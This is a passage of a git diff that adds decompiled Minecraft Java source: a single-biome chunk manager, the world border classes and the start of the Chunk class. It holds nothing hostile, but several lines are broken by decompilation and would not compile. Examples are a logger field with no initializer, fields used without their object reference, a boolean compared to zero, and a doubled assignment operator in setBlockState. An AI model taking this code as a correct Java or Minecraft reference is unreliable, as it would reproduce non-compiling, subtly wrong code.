+    
+    return var13;
+  }
+  
+
+
+
+  public void cleanupCache()
+  {
+    biomeCache.cleanupCache();
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/WorldChunkManagerHell.java b/src/minecraft/net/minecraft/world/biome/WorldChunkManagerHell.java
new file mode 100644
index 0000000..8bf3284
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/WorldChunkManagerHell.java
@@ -0,0 +1,92 @@
+package net.minecraft.world.biome;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.util.BlockPos;
+
+
+
+public class WorldChunkManagerHell
+  extends WorldChunkManager
+{
+  private BiomeGenBase biomeGenerator;
+  private float rainfall;
+  private static final String __OBFID = "CL_00000169";
+  
+  public WorldChunkManagerHell(BiomeGenBase p_i45374_1_, float p_i45374_2_)
+  {
+    biomeGenerator = p_i45374_1_;
+    rainfall = p_i45374_2_;
+  }
+  
+  public BiomeGenBase func_180631_a(BlockPos p_180631_1_)
+  {
+    return biomeGenerator;
+  }
+  
+
+
+
+  public BiomeGenBase[] getBiomesForGeneration(BiomeGenBase[] p_76937_1_, int p_76937_2_, int p_76937_3_, int p_76937_4_, int p_76937_5_)
+  {
+    if ((p_76937_1_ == null) || (p_76937_1_.length < p_76937_4_ * p_76937_5_))
+    {
+      p_76937_1_ = new BiomeGenBase[p_76937_4_ * p_76937_5_];
+    }
+    
+    Arrays.fill(p_76937_1_, 0, p_76937_4_ * p_76937_5_, biomeGenerator);
+    return p_76937_1_;
+  }
+  
+
+
+
+  public float[] getRainfall(float[] p_76936_1_, int p_76936_2_, int p_76936_3_, int p_76936_4_, int p_76936_5_)
+  {
+    if ((p_76936_1_ == null) || (p_76936_1_.length < p_76936_4_ * p_76936_5_))
+    {
+      p_76936_1_ = new float[p_76936_4_ * p_76936_5_];
+    }
+    
+    Arrays.fill(p_76936_1_, 0, p_76936_4_ * p_76936_5_, rainfall);
+    return p_76936_1_;
+  }
+  
+
+
+
+
+  public BiomeGenBase[] loadBlockGeneratorData(BiomeGenBase[] p_76933_1_, int p_76933_2_, int p_76933_3_, int p_76933_4_, int p_76933_5_)
+  {
+    if ((p_76933_1_ == null) || (p_76933_1_.length < p_76933_4_ * p_76933_5_))
+    {
+      p_76933_1_ = new BiomeGenBase[p_76933_4_ * p_76933_5_];
+    }
+    
+    Arrays.fill(p_76933_1_, 0, p_76933_4_ * p_76933_5_, biomeGenerator);
+    return p_76933_1_;
+  }
+  
+
+
+
+
+  public BiomeGenBase[] getBiomeGenAt(BiomeGenBase[] p_76931_1_, int p_76931_2_, int p_76931_3_, int p_76931_4_, int p_76931_5_, boolean p_76931_6_)
+  {
+    return loadBlockGeneratorData(p_76931_1_, p_76931_2_, p_76931_3_, p_76931_4_, p_76931_5_);
+  }
+  
+  public BlockPos findBiomePosition(int x, int z, int range, List biomes, Random random)
+  {
+    return biomes.contains(biomeGenerator) ? new BlockPos(x - range + random.nextInt(range * 2 + 1), 0, z - range + random.nextInt(range * 2 + 1)) : null;
+  }
+  
+
+
+
+  public boolean areBiomesViable(int p_76940_1_, int p_76940_2_, int p_76940_3_, List p_76940_4_)
+  {
+    return p_76940_4_.contains(biomeGenerator);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/border/EnumBorderStatus.java b/src/minecraft/net/minecraft/world/border/EnumBorderStatus.java
new file mode 100644
index 0000000..3541549
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/border/EnumBorderStatus.java
@@ -0,0 +1,22 @@
+package net.minecraft.world.border;
+
+public enum EnumBorderStatus
+{
+  GROWING("GROWING", 0, 4259712), 
+  SHRINKING("SHRINKING", 1, 16724016), 
+  STATIONARY("STATIONARY", 2, 2138367);
+  
+  private final int id;
+  private static final EnumBorderStatus[] $VALUES = { GROWING, SHRINKING, STATIONARY };
+  private static final String __OBFID = "CL_00002013";
+  
+  private EnumBorderStatus(String p_i45647_1_, int p_i45647_2_, int id)
+  {
+    this.id = id;
+  }
+  
+  public int func_177766_a()
+  {
+    return id;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/border/IBorderListener.java b/src/minecraft/net/minecraft/world/border/IBorderListener.java
new file mode 100644
index 0000000..80b7a3b
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/border/IBorderListener.java
@@ -0,0 +1,18 @@
+package net.minecraft.world.border;
+
+public abstract interface IBorderListener
+{
+  public abstract void onSizeChanged(WorldBorder paramWorldBorder, double paramDouble);
+  
+  public abstract void func_177692_a(WorldBorder paramWorldBorder, double paramDouble1, double paramDouble2, long paramLong);
+  
+  public abstract void onCenterChanged(WorldBorder paramWorldBorder, double paramDouble1, double paramDouble2);
+  
+  public abstract void onWarningTimeChanged(WorldBorder paramWorldBorder, int paramInt);
+  
+  public abstract void onWarningDistanceChanged(WorldBorder paramWorldBorder, int paramInt);
+  
+  public abstract void func_177696_b(WorldBorder paramWorldBorder, double paramDouble);
+  
+  public abstract void func_177695_c(WorldBorder paramWorldBorder, double paramDouble);
+}
diff --git a/src/minecraft/net/minecraft/world/border/WorldBorder.java b/src/minecraft/net/minecraft/world/border/WorldBorder.java
new file mode 100644
index 0000000..0064531
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/border/WorldBorder.java
@@ -0,0 +1,293 @@
+package net.minecraft.world.border;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.ChunkCoordIntPair;
+
+public class WorldBorder
+{
+  private final List listeners = Lists.newArrayList();
+  private double centerX = 0.0D;
+  private double centerZ = 0.0D;
+  private double startDiameter = 6.0E7D;
+  private double endDiameter;
+  private long endTime;
+  private long startTime;
+  private int worldSize;
+  private double damageAmount;
+  private double damageBuffer;
+  private int warningTime;
+  private int warningDistance;
+  private static final String __OBFID = "CL_00002012";
+  
+  public WorldBorder()
+  {
+    endDiameter = startDiameter;
+    worldSize = 29999984;
+    damageAmount = 0.2D;
+    damageBuffer = 5.0D;
+    warningTime = 15;
+    warningDistance = 5;
+  }
+  
+  public boolean contains(BlockPos pos)
+  {
+    return (pos.getX() + 1 > minX()) && (pos.getX() < maxX()) && (pos.getZ() + 1 > minZ()) && (pos.getZ() < maxZ());
+  }
+  
+  public boolean contains(ChunkCoordIntPair range)
+  {
+    return (range.getXEnd() > minX()) && (range.getXStart() < maxX()) && (range.getZEnd() > minZ()) && (range.getZStart() < maxZ());
+  }
+  
+  public boolean contains(AxisAlignedBB bb)
+  {
+    return (maxX > minX()) && (minX < maxX()) && (maxZ > minZ()) && (minZ < maxZ());
+  }
+  
+  public double getClosestDistance(Entity p_177745_1_)
+  {
+    return getClosestDistance(posX, posZ);
+  }
+  
+  public double getClosestDistance(double x, double z)
+  {
+    double var5 = z - minZ();
+    double var7 = maxZ() - z;
+    double var9 = x - minX();
+    double var11 = maxX() - x;
+    double var13 = Math.min(var9, var11);
+    var13 = Math.min(var13, var5);
+    return Math.min(var13, var7);
+  }
+  
+  public EnumBorderStatus getStatus()
+  {
+    return endDiameter > startDiameter ? EnumBorderStatus.GROWING : endDiameter < startDiameter ? EnumBorderStatus.SHRINKING : EnumBorderStatus.STATIONARY;
+  }
+  
+  public double minX()
+  {
+    double var1 = getCenterX() - getDiameter() / 2.0D;
+    
+    if (var1 < -worldSize)
+    {
+      var1 = -worldSize;
+    }
+    
+    return var1;
+  }
+  
+  public double minZ()
+  {
+    double var1 = getCenterZ() - getDiameter() / 2.0D;
+    
+    if (var1 < -worldSize)
+    {
+      var1 = -worldSize;
+    }
+    
+    return var1;
+  }
+  
+  public double maxX()
+  {
+    double var1 = getCenterX() + getDiameter() / 2.0D;
+    
+    if (var1 > worldSize)
+    {
+      var1 = worldSize;
+    }
+    
+    return var1;
+  }
+  
+  public double maxZ()
+  {
+    double var1 = getCenterZ() + getDiameter() / 2.0D;
+    
+    if (var1 > worldSize)
+    {
+      var1 = worldSize;
+    }
+    
+    return var1;
+  }
+  
+  public double getCenterX()
+  {
+    return centerX;
+  }
+  
+  public double getCenterZ()
+  {
+    return centerZ;
+  }
+  
+  public void setCenter(double x, double z)
+  {
+    centerX = x;
+    centerZ = z;
+    Iterator var5 = getListeners().iterator();
+    
+    while (var5.hasNext())
+    {
+      IBorderListener var6 = (IBorderListener)var5.next();
+      var6.onCenterChanged(this, x, z);
+    }
+  }
+  
+  public double getDiameter()
+  {
+    if (getStatus() != EnumBorderStatus.STATIONARY)
+    {
+      double var1 = (float)(System.currentTimeMillis() - startTime) / (float)(endTime - startTime);
+      
+      if (var1 < 1.0D)
+      {
+        return startDiameter + (endDiameter - startDiameter) * var1;
+      }
+      
+      setTransition(endDiameter);
+    }
+    
+    return startDiameter;
+  }
+  
+  public long getTimeUntilTarget()
+  {
+    return getStatus() != EnumBorderStatus.STATIONARY ? endTime - System.currentTimeMillis() : 0L;
+  }
+  
+  public double getTargetSize()
+  {
+    return endDiameter;
+  }
+  
+  public void setTransition(double newSize)
+  {
+    startDiameter = newSize;
+    endDiameter = newSize;
+    endTime = System.currentTimeMillis();
+    startTime = endTime;
+    Iterator var3 = getListeners().iterator();
+    
+    while (var3.hasNext())
+    {
+      IBorderListener var4 = (IBorderListener)var3.next();
+      var4.onSizeChanged(this, newSize);
+    }
+  }
+  
+  public void setTransition(double p_177738_1_, double p_177738_3_, long p_177738_5_)
+  {
+    startDiameter = p_177738_1_;
+    endDiameter = p_177738_3_;
+    startTime = System.currentTimeMillis();
+    endTime = (startTime + p_177738_5_);
+    Iterator var7 = getListeners().iterator();
+    
+    while (var7.hasNext())
+    {
+      IBorderListener var8 = (IBorderListener)var7.next();
+      var8.func_177692_a(this, p_177738_1_, p_177738_3_, p_177738_5_);
+    }
+  }
+  
+  protected List getListeners()
+  {
+    return Lists.newArrayList(listeners);
+  }
+  
+  public void addListener(IBorderListener listener)
+  {
+    listeners.add(listener);
+  }
+  
+  public void setSize(int size)
+  {
+    worldSize = size;
+  }
+  
+  public int getSize()
+  {
+    return worldSize;
+  }
+  
+  public double getDamageBuffer()
+  {
+    return damageBuffer;
+  }
+  
+  public void setDamageBuffer(double p_177724_1_)
+  {
+    damageBuffer = p_177724_1_;
+    Iterator var3 = getListeners().iterator();
+    
+    while (var3.hasNext())
+    {
+      IBorderListener var4 = (IBorderListener)var3.next();
+      var4.func_177695_c(this, p_177724_1_);
+    }
+  }
+  
+  public double func_177727_n()
+  {
+    return damageAmount;
+  }
+  
+  public void func_177744_c(double p_177744_1_)
+  {
+    damageAmount = p_177744_1_;
+    Iterator var3 = getListeners().iterator();
+    
+    while (var3.hasNext())
+    {
+      IBorderListener var4 = (IBorderListener)var3.next();
+      var4.func_177696_b(this, p_177744_1_);
+    }
+  }
+  
+  public double func_177749_o()
+  {
+    return endTime == startTime ? 0.0D : Math.abs(startDiameter - endDiameter) / (endTime - startTime);
+  }
+  
+  public int getWarningTime()
+  {
+    return warningTime;
+  }
+  
+  public void setWarningTime(int warningTime)
+  {
+    this.warningTime = warningTime;
+    Iterator var2 = getListeners().iterator();
+    
+    while (var2.hasNext())
+    {
+      IBorderListener var3 = (IBorderListener)var2.next();
+      var3.onWarningTimeChanged(this, warningTime);
+    }
+  }
+  
+  public int getWarningDistance()
+  {
+    return warningDistance;
+  }
+  
+  public void setWarningDistance(int warningDistance)
+  {
+    this.warningDistance = warningDistance;
+    Iterator var2 = getListeners().iterator();
+    
+    while (var2.hasNext())
+    {
+      IBorderListener var3 = (IBorderListener)var2.next();
+      var3.onWarningDistanceChanged(this, warningDistance);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/chunk/Chunk.java b/src/minecraft/net/minecraft/world/chunk/Chunk.java
new file mode 100644
index 0000000..6bc06a8
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/chunk/Chunk.java
@@ -0,0 +1,1796 @@
+package net.minecraft.world.chunk;
+
+import com.google.common.base.Predicate;
+import com.google.common.collect.Maps;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import net.minecraft.block.Block;
+import net.minecraft.block.ITileEntityProvider;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.Entity;
+import net.minecraft.init.Blocks;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ClassInheratanceMultiMap;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ReportedException;
+import net.minecraft.world.ChunkCoordIntPair;
+import net.minecraft.world.EnumSkyBlock;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.biome.WorldChunkManager;
+import net.minecraft.world.chunk.storage.ExtendedBlockStorage;
+import org.apache.logging.log4j.Logger;
+
+public class Chunk
+{
+  private static final Logger logger = ;
+  
+
+
+  private final ExtendedBlockStorage[] storageArrays;
+  
+
+  private final byte[] blockBiomeArray;
+  
+
+  private final int[] precipitationHeightMap;
+  
+
+  private final boolean[] updateSkylightColumns;
+  
+
+  private boolean isChunkLoaded;
+  
+
+  private final World worldObj;
+  
+
+  private final int[] heightMap;
+  
+
+  public final int xPosition;
+  
+
+  public final int zPosition;
+  
+
+  private boolean isGapLightingUpdated;
+  
+
+  private final Map chunkTileEntityMap;
+  
+
+  private final ClassInheratanceMultiMap[] entityLists;
+  
+
+  private boolean isTerrainPopulated;
+  
+
+  private boolean isLightPopulated;
+  
+
+  private boolean field_150815_m;
+  
+
+  private boolean isModified;
+  
+
+  private boolean hasEntities;
+  
+
+  private long lastSaveTime;
+  
+
+  private int heightMapMinimum;
+  
+
+  private long inhabitedTime;
+  
+
+  private int queuedLightChecks;
+  
+
+  private ConcurrentLinkedQueue field_177447_w;
+  
+
+  private static final String __OBFID = "CL_00000373";
+  
+
+
+  public Chunk(World worldIn, int x, int z)
+  {
+    storageArrays = new ExtendedBlockStorage[16];
+    blockBiomeArray = new byte['Ā'];
+    precipitationHeightMap = new int['Ā'];
+    updateSkylightColumns = new boolean['Ā'];
+    chunkTileEntityMap = Maps.newHashMap();
+    queuedLightChecks = 4096;
+    field_177447_w = com.google.common.collect.Queues.newConcurrentLinkedQueue();
+    entityLists = new ClassInheratanceMultiMap[16];
+    worldObj = worldIn;
+    xPosition = x;
+    zPosition = z;
+    heightMap = new int['Ā'];
+    
+    for (int var4 = 0; var4 < entityLists.length; var4++)
+    {
+      entityLists[var4] = new ClassInheratanceMultiMap(Entity.class);
+    }
+    
+    Arrays.fill(precipitationHeightMap, 64537);
+    Arrays.fill(blockBiomeArray, (byte)-1);
+  }
+  
+  public Chunk(World worldIn, ChunkPrimer primer, int x, int z)
+  {
+    this(worldIn, x, z);
+    short var5 = 256;
+    boolean var6 = !provider.getHasNoSky();
+    
+    for (int var7 = 0; var7 < 16; var7++)
+    {
+      for (int var8 = 0; var8 < 16; var8++)
+      {
+        for (int var9 = 0; var9 < var5; var9++)
+        {
+          int var10 = var7 * var5 * 16 | var8 * var5 | var9;
+          IBlockState var11 = primer.getBlockState(var10);
+          
+          if (var11.getBlock().getMaterial() != Material.air)
+          {
+            int var12 = var9 >> 4;
+            
+            if (storageArrays[var12] == null)
+            {
+              storageArrays[var12] = new ExtendedBlockStorage(var12 << 4, var6);
+            }
+            
+            storageArrays[var12].set(var7, var9 & 0xF, var8, var11);
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+  public boolean isAtLocation(int x, int z)
+  {
+    return (x == xPosition) && (z == zPosition);
+  }
+  
+  public int getHeight(BlockPos pos)
+  {
+    return getHeight(pos.getX() & 0xF, pos.getZ() & 0xF);
+  }
+  
+
+
+
+  public int getHeight(int x, int z)
+  {
+    return heightMap[(z << 4 | x)];
+  }
+  
+
+
+
+  public int getTopFilledSegment()
+  {
+    for (int var1 = storageArrays.length - 1; var1 >= 0; var1--)
+    {
+      if (storageArrays[var1] != null)
+      {
+        return storageArrays[var1].getYLocation();
+      }
+    }
+    
+    return 0;
+  }
+  
+
+
+
+  public ExtendedBlockStorage[] getBlockStorageArray()
+  {
+    return storageArrays;
+  }
+  
+
+
+
+  protected void generateHeightMap()
+  {
+    int var1 = getTopFilledSegment();
+    heightMapMinimum = Integer.MAX_VALUE;
+    
+    for (int var2 = 0; var2 < 16; var2++)
+    {
+      int var3 = 0;
+      
+      while (var3 < 16)
+      {
+        precipitationHeightMap[(var2 + (var3 << 4))] = 64537;
+        int var4 = var1 + 16;
+        
+
+
+        while (var4 > 0)
+        {
+          Block var5 = getBlock0(var2, var4 - 1, var3);
+          
+          if (var5.getLightOpacity() == 0)
+          {
+            var4--;
+          }
+          else
+          {
+            heightMap[(var3 << 4 | var2)] = var4;
+            
+            if (var4 < heightMapMinimum)
+            {
+              heightMapMinimum = var4;
+            }
+          }
+        }
+        var3++;
+      }
+    }
+    
+
+
+    isModified = true;
+  }
+  
+
+
+
+  public void generateSkylightMap()
+  {
+    int var1 = getTopFilledSegment();
+    heightMapMinimum = Integer.MAX_VALUE;
+    
+    for (int var2 = 0; var2 < 16; var2++)
+    {
+      int var3 = 0;
+      
+      while (var3 < 16)
+      {
+        precipitationHeightMap[(var2 + (var3 << 4))] = 64537;
+        int var4 = var1 + 16;
+        
+
+
+        while (var4 > 0)
+        {
+          if (getBlockLightOpacity(var2, var4 - 1, var3) == 0)
+          {
+            var4--;
+          }
+          else
+          {
+            heightMap[(var3 << 4 | var2)] = var4;
+            
+            if (var4 < heightMapMinimum)
+            {
+              heightMapMinimum = var4;
+            }
+          }
+        }
+        if (!worldObj.provider.getHasNoSky())
+        {
+          var4 = 15;
+          int var5 = var1 + 16 - 1;
+          
+          do
+          {
+            int var6 = getBlockLightOpacity(var2, var5, var3);
+            
+            if ((var6 == 0) && (var4 != 15))
+            {
+              var6 = 1;
+            }
+            
+            var4 -= var6;
+            
+            if (var4 > 0)
+            {
+              ExtendedBlockStorage var7 = storageArrays[(var5 >> 4)];
+              
+              if (var7 != null)
+              {
+                var7.setExtSkylightValue(var2, var5 & 0xF, var3, var4);
+                worldObj.notifyLightSet(new BlockPos((xPosition << 4) + var2, var5, (zPosition << 4) + var3));
+              }
+            }
+            
+            var5--;
+          }
+          while ((var5 > 0) && (var4 > 0));
+        }
+        
+        var3++;
+      }
+    }
+    
+
+
+    isModified = true;
+  }
+  
+
+
+
+  private void propagateSkylightOcclusion(int x, int z)
+  {
+    updateSkylightColumns[(x + z * 16)] = true;
+    isGapLightingUpdated = true;
+  }
+  
+  private void recheckGaps(boolean p_150803_1_)
+  {
+    worldObj.theProfiler.startSection("recheckGaps");
+    
+    if (worldObj.isAreaLoaded(new BlockPos(xPosition * 16 + 8, 0, zPosition * 16 + 8), 16))
+    {
+      for (int var2 = 0; var2 < 16; var2++)
+      {
+        for (int var3 = 0; var3 < 16; var3++)
+        {
+          if (updateSkylightColumns[(var2 + var3 * 16)] != 0)
+          {
+            updateSkylightColumns[(var2 + var3 * 16)] = false;
+            int var4 = getHeight(var2, var3);
+            int var5 = xPosition * 16 + var2;
+            int var6 = zPosition * 16 + var3;
+            int var7 = Integer.MAX_VALUE;
+            
+            EnumFacing var9;
+            
+            for (Iterator var8 = EnumFacing.Plane.HORIZONTAL.iterator(); var8.hasNext(); var7 = Math.min(var7, worldObj.getChunksLowestHorizon(var5 + var9.getFrontOffsetX(), var6 + var9.getFrontOffsetZ())))
+            {
+              var9 = (EnumFacing)var8.next();
+            }
+            
+            checkSkylightNeighborHeight(var5, var6, var7);
+            var8 = EnumFacing.Plane.HORIZONTAL.iterator();
+            
+            while (var8.hasNext())
+            {
+              EnumFacing var9 = (EnumFacing)var8.next();
+              checkSkylightNeighborHeight(var5 + var9.getFrontOffsetX(), var6 + var9.getFrontOffsetZ(), var4);
+            }
+            
+            if (p_150803_1_)
+            {
+              worldObj.theProfiler.endSection();
+              return;
+            }
+          }
+        }
+      }
+      
+      isGapLightingUpdated = false;
+    }
+    
+    worldObj.theProfiler.endSection();
+  }
+  
+
+
+
+  private void checkSkylightNeighborHeight(int x, int p_76599_2_, int z)
+  {
+    int var4 = worldObj.getHorizon(new BlockPos(x, 0, p_76599_2_)).getY();
+    
+    if (var4 > z)
+    {
+      updateSkylightNeighborHeight(x, p_76599_2_, z, var4 + 1);
+    }
+    else if (var4 < z)
+    {
+      updateSkylightNeighborHeight(x, p_76599_2_, var4, z + 1);
+    }
+  }
+  
+  private void updateSkylightNeighborHeight(int x, int z, int startY, int endY)
+  {
+    if ((endY > startY) && (worldObj.isAreaLoaded(new BlockPos(x, 0, z), 16)))
+    {
+      for (int var5 = startY; var5 < endY; var5++)
+      {
+        worldObj.checkLightFor(EnumSkyBlock.SKY, new BlockPos(x, var5, z));
+      }
+      
+      isModified = true;
+    }
+  }
+  
+
+
+
+  private void relightBlock(int x, int y, int z)
+  {
+    int var4 = heightMap[(z << 4 | x)] & 0xFF;
+    int var5 = var4;
+    
+    if (y > var4)
+    {
+      var5 = y;
+    }
+    
+    while ((var5 > 0) && (getBlockLightOpacity(x, var5 - 1, z) == 0))
+    {
+      var5--;
+    }
+    
+    if (var5 != var4)
+    {
+      worldObj.markBlocksDirtyVertical(x + xPosition * 16, z + zPosition * 16, var5, var4);
+      heightMap[(z << 4 | x)] = var5;
+      int var6 = xPosition * 16 + x;
+      int var7 = zPosition * 16 + z;
+      
+
+
+      if (!worldObj.provider.getHasNoSky())
+      {
+
+
+        if (var5 < var4)
+        {
+          for (int var8 = var5; var8 < var4; var8++)
+          {
+            ExtendedBlockStorage var9 = storageArrays[(var8 >> 4)];
+            
+            if (var9 != null)
+            {
+              var9.setExtSkylightValue(x, var8 & 0xF, z, 15);
+              worldObj.notifyLightSet(new BlockPos((xPosition << 4) + x, var8, (zPosition << 4) + z));
+            }
+            
+          }
+          
+        } else {
+          for (var8 = var4; var8 < var5; var8++)
+          {
+            ExtendedBlockStorage var9 = storageArrays[(var8 >> 4)];
+            
+            if (var9 != null)
+            {
+              var9.setExtSkylightValue(x, var8 & 0xF, z, 0);
+              worldObj.notifyLightSet(new BlockPos((xPosition << 4) + x, var8, (zPosition << 4) + z));
+            }
+          }
+        }
+        
+        int var8 = 15;
+        
+        while ((var5 > 0) && (var8 > 0))
+        {
+          var5--;
+          int var13 = getBlockLightOpacity(x, var5, z);
+          
+          if (var13 == 0)
+          {
+            var13 = 1;
+          }
+          
+          var8 -= var13;
+          
+          if (var8 < 0)
+          {
+            var8 = 0;
+          }
+          
+          ExtendedBlockStorage var10 = storageArrays[(var5 >> 4)];
+          
+          if (var10 != null)
+          {
+            var10.setExtSkylightValue(x, var5 & 0xF, z, var8);
+          }
+        }
+      }
+      
+      int var8 = heightMap[(z << 4 | x)];
+      int var13 = var4;
+      int var14 = var8;
+      
+      if (var8 < var4)
+      {
+        var13 = var8;
+        var14 = var4;
+      }
+      
+      if (var8 < heightMapMinimum)
+      {
+        heightMapMinimum = var8;
+      }
+      
+      if (!worldObj.provider.getHasNoSky())
+      {
+        Iterator var11 = EnumFacing.Plane.HORIZONTAL.iterator();
+        
+        while (var11.hasNext())
+        {
+          EnumFacing var12 = (EnumFacing)var11.next();
+          updateSkylightNeighborHeight(var6 + var12.getFrontOffsetX(), var7 + var12.getFrontOffsetZ(), var13, var14);
+        }
+        
+        updateSkylightNeighborHeight(var6, var7, var13, var14);
+      }
+      
+      isModified = true;
+    }
+  }
+  
+  public int getBlockLightOpacity(BlockPos pos)
+  {
+    return getBlock(pos).getLightOpacity();
+  }
+  
+  private int getBlockLightOpacity(int p_150808_1_, int p_150808_2_, int p_150808_3_)
+  {
+    return getBlock0(p_150808_1_, p_150808_2_, p_150808_3_).getLightOpacity();
+  }
+  
+
+
+
+  private Block getBlock0(int x, int y, int z)
+  {
+    Block var4 = Blocks.air;
+    
+    if ((y >= 0) && (y >> 4 < storageArrays.length))
+    {
+      ExtendedBlockStorage var5 = storageArrays[(y >> 4)];
+      
+      if (var5 != null)
+      {
+        try
+        {
+          var4 = var5.getBlockByExtId(x, y & 0xF, z);
+        }
+        catch (Throwable var8)
+        {
+          CrashReport var7 = CrashReport.makeCrashReport(var8, "Getting block");
+          throw new ReportedException(var7);
+        }
+      }
+    }
+    
+    return var4;
+  }
+  
+  public Block getBlock(final int x, final int y, final int z)
+  {
+    try
+    {
+      return getBlock0(x & 0xF, y, z & 0xF);
+    }
+    catch (ReportedException var6)
+    {
+      CrashReportCategory var5 = var6.getCrashReport().makeCategory("Block being got");
+      var5.addCrashSectionCallable("Location", new Callable()
+      {
+        private static final String __OBFID = "CL_00000374";
+        
+        public String call() {
+          return CrashReportCategory.getCoordinateInfo(new BlockPos(xPosition * 16 + x, y, zPosition * 16 + z));
+        }
+      });
+      throw var6;
+    }
+  }
+  
+  public Block getBlock(final BlockPos pos)
+  {
+    try
+    {
+      return getBlock0(pos.getX() & 0xF, pos.getY(), pos.getZ() & 0xF);
+    }
+    catch (ReportedException var4)
+    {
+      CrashReportCategory var3 = var4.getCrashReport().makeCategory("Block being got");
+      var3.addCrashSectionCallable("Location", new Callable()
+      {
+        private static final String __OBFID = "CL_00002011";
+        
+        public String func_177455_a() {
+          return CrashReportCategory.getCoordinateInfo(pos);
+        }
+        
+        public Object call() {
+          return func_177455_a();
+        }
+      });
+      throw var4;
+    }
+  }
+  
+  public IBlockState getBlockState(final BlockPos pos)
+  {
+    if (worldObj.getWorldType() == net.minecraft.world.WorldType.DEBUG_WORLD)
+    {
+      IBlockState var7 = null;
+      
+      if (pos.getY() == 60)
+      {
+        var7 = Blocks.barrier.getDefaultState();
+      }
+      
+      if (pos.getY() == 70)
+      {
+        var7 = net.minecraft.world.gen.ChunkProviderDebug.func_177461_b(pos.getX(), pos.getZ());
+      }
+      
+      return var7 == null ? Blocks.air.getDefaultState() : var7;
+    }
+    
+
+    try
+    {
+      if ((pos.getY() >= 0) && (pos.getY() >> 4 < storageArrays.length))
+      {
+        ExtendedBlockStorage var2 = storageArrays[(pos.getY() >> 4)];
+        
+        if (var2 != null)
+        {
+          int var8 = pos.getX() & 0xF;
+          int var9 = pos.getY() & 0xF;
+          int var5 = pos.getZ() & 0xF;
+          return var2.get(var8, var9, var5);
+        }
+      }
+      
+      return Blocks.air.getDefaultState();
+    }
+    catch (Throwable var6)
+    {
+      CrashReport var3 = CrashReport.makeCrashReport(var6, "Getting block state");
+      CrashReportCategory var4 = var3.makeCategory("Block being got");
+      var4.addCrashSectionCallable("Location", new Callable()
+      {
+        private static final String __OBFID = "CL_00002010";
+        
+        public String func_177448_a() {
+          return CrashReportCategory.getCoordinateInfo(pos);
+        }
+        
+        public Object call() {
+          return func_177448_a();
+        }
+      });
+      throw new ReportedException(var3);
+    }
+  }
+  
+
+
+
+
+  private int getBlockMetadata(int p_76628_1_, int p_76628_2_, int p_76628_3_)
+  {
+    if (p_76628_2_ >> 4 >= storageArrays.length)
+    {
+      return 0;
+    }
+    
+
+    ExtendedBlockStorage var4 = storageArrays[(p_76628_2_ >> 4)];
+    return var4 != null ? var4.getExtBlockMetadata(p_76628_1_, p_76628_2_ & 0xF, p_76628_3_) : 0;
+  }
+  
+
+  public int getBlockMetadata(BlockPos pos)
+  {
+    return getBlockMetadata(pos.getX() & 0xF, pos.getY(), pos.getZ() & 0xF);
+  }
+  
+  public IBlockState setBlockState(BlockPos p_177436_1_, IBlockState p_177436_2_)
+  {
+    int var3 = p_177436_1_.getX() & 0xF;
+    int var4 = p_177436_1_.getY();
+    int var5 = p_177436_1_.getZ() & 0xF;
+    int var6 = var5 << 4 | var3;
+    
+    if (var4 >= precipitationHeightMap[var6] - 1)
+    {
+      precipitationHeightMap[var6] = 64537;
+    }
+    
+    int var7 = heightMap[var6];
+    IBlockState var8 = getBlockState(p_177436_1_);
+    
+    if (var8 == p_177436_2_)
+    {
+      return null;
+    }
+    
+
+    Block var9 = p_177436_2_.getBlock();
+    Block var10 = var8.getBlock();
+    ExtendedBlockStorage var11 = storageArrays[(var4 >> 4)];
+    boolean var12 = false;
+    
+    if (var11 == null)
+    {
+      if (var9 == Blocks.air)
+      {
+        return null;
+      }
+      
+      var11 = storageArrays[(var4 >> 4)] =  = new ExtendedBlockStorage(var4 >> 4 << 4, !worldObj.provider.getHasNoSky());
+      var12 = var4 >= var7;
+    }
+    
+    var11.set(var3, var4 & 0xF, var5, p_177436_2_);
+    
+    if (var10 != var9)
+    {
+      if (!worldObj.isRemote)
+      {
+        var10.breakBlock(worldObj, p_177436_1_, var8);
+      }
+      else if ((var10 instanceof ITileEntityProvider))
+      {
+        worldObj.removeTileEntity(p_177436_1_);
+      }
+    }
+    
+    if (var11.getBlockByExtId(var3, var4 & 0xF, var5) != var9)
+    {
+      return null;
+    }
+    
+
+    if (var12)
+    {
+      generateSkylightMap();
+    }
+    else
+    {
+      int var13 = var9.getLightOpacity();
+      int var14 = var10.getLightOpacity();
+      
+      if (var13 > 0)
+      {
+        if (var4 >= var7)
+        {
+          relightBlock(var3, var4 + 1, var5);
+        }
+      }
+      else if (var4 == var7 - 1)
+      {
+        relightBlock(var3, var4, var5);
+      }
+      
+      if ((var13 != var14) && ((var13 < var14) || (getLightFor(EnumSkyBlock.SKY, p_177436_1_) > 0) || (getLightFor(EnumSkyBlock.BLOCK, p_177436_1_) > 0)))
+      {
+        propagateSkylightOcclusion(var3, var5);
+      }
+    }
+    
+
+
